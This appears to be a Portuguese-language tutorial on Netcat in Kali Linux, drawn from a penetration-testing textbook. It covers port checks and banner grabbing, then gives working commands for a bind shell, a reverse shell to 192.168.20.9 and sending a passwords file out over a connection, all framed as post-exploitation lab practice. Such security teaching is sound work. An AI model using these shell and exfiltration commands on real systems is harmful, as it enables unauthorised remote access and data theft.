O Netcat é uma ferramenta versátil para testes de rede o qual permite ler e escrever dados através das conexões, usando o protocolo TCP/IP.
Foi desenhado para ser uma ferramenta back-end confiável que pode ser usada diretamente ou de modo fácil por outros programas e scripts. Ao mesmo tempo, é cheia de funcionalidades de debugging e exploração, já que pode criar quase qualquer tipo de conexão que você possa precisar e tem diversas capacidades interessantes.
Esta ferramenta provê acesso às principais funcionalidades:
- Conexões de saída e entrada, TCP ou UDP, de ou para qualquer porta;
- Tem um modo de tunelamento que permite também um tunelamento espeicla como UDP para TCP, com a possibilidade de espeicificar todos os parâmetros de rede (porta de origem/interface, porta/interface ouvinte, e o host remoto permitido para conectar no túnel;
- Tem a funcionalidades de port scanning, de modo aleatório;
- Opções avançadas de uso como modo de envio buffered (uma linha a cada N segundos) e hexdump (para stderr ou para um arquivo específico) dos dados transmitidos ou recebidos;
- Parser e responder dos códigos RFC854 opcionais.
No Kali, para vermos as opções do Netcat, devemos entrar com o comando nc -h, como pode ser visto abaixo:
Verificando se uma porta está ouvindo
Vamos fazer o Netcat se conectar a uma porta para verificar se está aguardando alguma conexão. Vamos testar em um servidor web qualquer. Diga ao Netcat para usar a porta 80 e seja no modo verbose com a opção –v. Se a porta estiver aberta, você um resultado semelhante a este:
A partir deste comando, ele nos dá uma conexão TCP com o IP informado. Tudo o que digitarmos e apertamos ENTER, será enviado para o servidor web.
Obtendo informações do banner do servidor web
Após abrir a conexão com o IP informado, digite HEAD / HTTP/1.0 e aperte ENTER algumas vezes para que o servidor responda com as informações que queremos.
Aguardando uma conexão
Você pode ficar escutando por uma conexão de entrada em uma porta através do comando nc -lvp 1234, onde o parâmetros l (listen), v (verbose) e p (port). Abra outro terminal e utilize o comando nc 127.0.0.1 1234 para se conectar e digite qualquer mensagem e aperte ENTER. Você verá que a outra janela do terminal receberá a mensagem.
Ouvindo um Command Shell
Quando você configura o Netcat para ouvir, use também o parâmetro -e para dize-lo para executar o /bin/bash (ou para iniciar um prompt de comando Bash) quando receber a conexão. Isto permite que qualquer um que se conecte como ouvinte para executar os comandos em seu sistema:
Em uma segunda tela do terminal, faça a conexão novamente e execute alguns comandos linux como se estivesse no terminal do seu alvo:
Este exemplo foi feito na mesma máquina, mas ela pode ser feita entre máquinas diferentes. Tente isto com duas máquinas virtuais em seu próprio lab.
Empurrando um Command Shell de volta para o ouvinte
Para fazermos isto, vamos configurar nosso primeiro terminal para ouvir na porta 1234, mas sem o parâmetro -e neste momento.
root@kali:~# nc -lvp 1234 listening on [any] 1234 ...
Agora abra um segundo terminal e se conecte no Netcat ouvinte que acabamos de criar:
root@kali:~# nc 192.168.20.9 1234 -e /bin/bash
A conexão é feita normalmente, mas apenas utilizamos o parâmetro -e para executar o /bin/bash. Volte para o primeiro terminal para ver a conexão, e se você usar comandos do terminal, você verá eles sendo executados.
listening on [any] 1234 ... connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921 whoami root
Agora, ao invés de produzir uma saída do que vem do ouvinte para a tela, use o > para enviar para um arquivo:
root@kali:~# nc -lvp 1234 > netcatfile listening on [any] 1234 ...
No segundo terminal que configurou a conexão Netcat, mas desta vez utilize o símbolo < para dizer para ele enviar o contéudo do arquivo através da conexão Netcat. Espere alguns segundos para ele transferir e veja o conteúdo do arquivo criado em sua primeira instância. O resultado deve ser semelhante a isto:
root@kali:~# nc 192.168.20.9 1234 < senhas.txt
Você usou o Netcat para transferir um arquivo. Neste caso foi apenas um exemplo simples, mas imagine o que pode ser feito para transferir arquivos de um sistema explorado. Esta técnica é muito utilizada na fase pós-exploratória do pentest, desde que você tenha acesso ao sistema.
Fonte: Weidman, Georgia. Penetration Testing: A Hands-On Introduction to Hacking. 2014